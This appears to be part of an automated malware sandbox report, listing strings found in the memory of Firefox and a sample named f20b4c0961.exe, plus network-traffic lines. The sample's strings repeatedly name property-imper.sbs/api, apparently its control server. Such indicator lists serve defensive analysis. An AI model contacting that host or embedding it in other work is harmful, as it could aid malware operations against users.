Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 00000019.00000002.2478820802.0000027291394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: f20b4c0961.exe, 00000009.00000003.2240820571.00000000011A3000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 00000009.00000003.2245857584.00000000011A6000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 00000009.00000003.2240996818.00000000011A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.s
Source: f20b4c0961.exe, 00000009.00000003.2189000814.0000000001176000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 00000009.00000003.2216205547.0000000001176000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 00000009.00000003.2187778263.0000000001176000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 00000009.00000003.2294043967.0000000001161000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2363128747.0000000000700000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2402388484.0000000000700000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2545220716.0000000000721000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2321917430.0000000000704000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2686958822.000000000071A000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2429429740.0000000000700000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2321730162.00000000006FD000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000002.2763484000.0000000000713000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/
Source: f20b4c0961.exe, 00000009.00000003.2240820571.0000000001176000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/--
Source: f20b4c0961.exe, 00000009.00000003.2349009212.000000000116C000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 00000009.00000003.2294043967.0000000001161000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/.
Source: f20b4c0961.exe, 00000009.00000003.2272289947.00000000011A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/G
Source: f20b4c0961.exe, 0000000B.00000003.2496347730.0000000000721000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2546312685.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api
Source: f20b4c0961.exe, 0000000B.00000003.2545220716.0000000000721000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2496347730.0000000000721000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api1Q
Source: f20b4c0961.exe, 0000000B.00000003.2401085437.00000000053E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api60882-
Source: f20b4c0961.exe, 00000009.00000003.2349296434.000000000118C000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 00000009.00000003.2272672432.000000000118A000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 00000009.00000003.2272465396.0000000001185000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api97hbPq.
Source: f20b4c0961.exe, 0000000B.00000003.2545220716.0000000000721000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2496347730.0000000000721000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apiBQl
Source: f20b4c0961.exe, 00000009.00000003.2418853686.00000000011A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apio
Source: f20b4c0961.exe, 00000009.00000003.2245740133.0000000001181000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 00000009.00000003.2240820571.0000000001176000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apirsionA
Source: f20b4c0961.exe, 00000009.00000003.2216205547.0000000001176000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apirsionn
Source: f20b4c0961.exe, 00000009.00000003.2241194022.0000000001191000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 00000009.00000003.2240974672.0000000001190000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 00000009.00000003.2240820571.0000000001176000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apis
Source: f20b4c0961.exe, 00000009.00000003.2240820571.0000000001176000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apite
Source: f20b4c0961.exe, 0000000B.00000002.2763484000.0000000000678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs:443/apiicrosoft
Source: firefox.exe, 00000019.00000002.2562253478.000002729B02E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 00000019.00000002.2561348786.000002729AF47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=AIzaSyC7jsptDS
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2561348786.000002729AF47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 00000019.00000002.2478820802.000002729133C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 00000019.00000003.2334950209.0000027292B73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2481912376.0000027292816000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/setButtons/buttonElem.onclick
Source: firefox.exe, 00000019.00000002.2511368823.0000027294477000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon
Source: firefox.exe, 00000019.00000002.2509125101.00000272943E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com
Source: firefox.exe, 00000019.00000002.2509125101.00000272943E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/
Source: firefox.exe, 00000019.00000002.2509125101.0000027294376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 00000019.00000003.2408822675.000002729B3A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2396489947.000002729B3A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 00000019.00000003.2407614644.000002729B6D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2562253478.000002729B02E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2579254717.000002729D203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000019.00000003.2407614644.000002729B6D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 00000019.00000003.2407614644.000002729B658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#
Source: firefox.exe, 00000019.00000003.2407614644.000002729B658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#l
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs:
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs:stateChangeProcessEnqueue:
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2562253478.000002729B02E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2579254717.000002729D203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/userplaces.frecency.pages.alternative.mediumWeight
Source: firefox.exe, 00000019.00000002.2528820121.0000027294996000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2516262256.0000027294810000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 00000019.00000002.2516262256.000002729480A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2516262256.0000027294810000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 00000019.00000002.2478820802.000002729133C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2489207640.0000027293034000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2393247432.0000027293B7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 00000019.00000002.2536942361.000002729509A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 00000019.00000002.2478820802.000002729130E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: firefox.exe, 00000019.00000002.2492921640.0000027293227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 00000019.00000002.2546346933.000002729608A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 00000019.00000002.2550341180.0000027296166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: f20b4c0961.exe, 0000000B.00000003.2404404803.00000000054FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 00000019.00000002.2492921640.0000027293227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l
Source: firefox.exe, 00000019.00000002.2478820802.000002729133C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 00000019.00000002.2581974745.00001B65AB404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com
Source: firefox.exe, 00000019.00000002.2482727507.0000027292903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2481912376.0000027292816000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://watch.sling.com/
Source: firefox.exe, 00000019.00000002.2562253478.000002729B02E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 00000019.00000002.2482727507.00000272929D9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2482727507.00000272929E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/images/duckduckgo-com
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2491386104.0000027293127000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 00000019.00000002.2482727507.0000027292903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: firefox.exe, 00000019.00000002.2458618765.000002728E7AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44
Source: firefox.exe, 00000019.00000002.2489207640.000002729307E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2491386104.0000027293127000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/browser.search.separatePrivateDefaultbrowser.sear
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/chrome://global/content/elements/notificationbox.
Source: firefox.exe, 00000019.00000002.2491386104.0000027293127000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 00000019.00000002.2491386104.0000027293127000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: f20b4c0961.exe, 00000009.00000003.2164246966.00000000059F6000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 00000009.00000003.2164154796.00000000059F9000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2323732828.0000000005416000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2324028280.0000000005416000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2322878077.0000000005419000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 00000019.00000002.2489207640.000002729307E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 00000019.00000003.2396489947.000002729B3F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 00000019.00000003.2407614644.000002729B61E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/searchcb8e7210-9f0b-48fa-8708-b9a03df79eeacbe309e0-f638-4996-9dfc-ea
Source: f20b4c0961.exe, 00000009.00000003.2164246966.00000000059F6000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 00000009.00000003.2164154796.00000000059F9000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2323732828.0000000005416000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2324028280.0000000005416000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2322878077.0000000005419000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 00000019.00000002.2482727507.0000027292903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2491386104.0000027293127000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search__instrumentation_summary
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/searchnimbus-desktop-experiments
Source: firefox.exe, 00000019.00000002.2479828969.0000027292470000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.hulu.com/watch/
Source: firefox.exe, 00000019.00000002.2491386104.0000027293127000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 00000019.00000002.2479828969.0000027292470000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.instagram.com/
Source: firefox.exe, 00000019.00000002.2458618765.000002728E7AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: firefox.exe, 00000019.00000002.2491386104.0000027293127000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2491386104.0000027293127000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2489207640.0000027293017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mobilesuica.com/
Source: f20b4c0961.exe, 00000009.00000003.2218484812.00000000059E2000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2403955754.000000000541E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2469501678.000002728FEFA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2569395137.000002729B611000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2400926046.000002729B163000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2489207640.0000027293034000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2583142865.0000276436404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2569395137.000002729B60B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 00000019.00000002.2562253478.000002729B0A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2491386104.0000027293125000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2403228491.000002729B0D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/
Source: firefox.exe, 00000019.00000002.2492921640.0000027293227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2393247432.0000027293B7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/firefox-desktop-no-feature-firefox-desktop-release
Source: firefox.exe, 00000019.00000002.2492921640.0000027293227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
Source: firefox.exe, 00000019.00000002.2492921640.0000027293227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 00000019.00000003.2390665678.0000027294882000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/mobile/get-app/?utm_medium=firefox-desktop&utm_source=onboarding-mod
Source: firefox.exe, 00000019.00000003.2407614644.000002729B658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentP
Source: firefox.exe, 00000019.00000003.2407614644.000002729B658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/V
Source: f20b4c0961.exe, 00000009.00000003.2219127331.0000000005AEE000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2404404803.00000000054FF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2492921640.0000027293227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 00000019.00000002.2539916257.00000272952DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2580378242.0000038C3EC4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 00000019.00000002.2482727507.00000272929E5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2491386104.0000027293127000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 00000019.00000002.2459836507.000002728E8DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 00000019.00000002.2482727507.0000027292903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2481912376.0000027292816000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2491386104.0000027293127000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sling.com/
Source: firefox.exe, 00000019.00000002.2580378242.0000038C3EC4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tsn.ca
Source: firefox.exe, 00000019.00000002.2481912376.0000027292816000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000019.00000002.2482727507.00000272929E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 00000019.00000002.2581974745.00001B65AB404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yandex.com
Source: firefox.exe, 00000019.00000002.2562253478.000002729B0A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2404400667.0000027294F9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2536047644.0000027294F9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2516262256.0000027294803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2501228599.0000027293C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 00000019.00000002.2562253478.000002729B0A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2553999746.00000272963DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2535380451.0000027294E89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 00000019.00000003.2407614644.000002729B680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000017.00000002.2316708107.000001CF2EB57000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2324397577.0000019409547000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 00000019.00000002.2456139673.00000272847AA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2456139673.00000272847E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdUnable
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdhttp://mozilla.org/#
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdmoz-extension://8bba

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 50177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
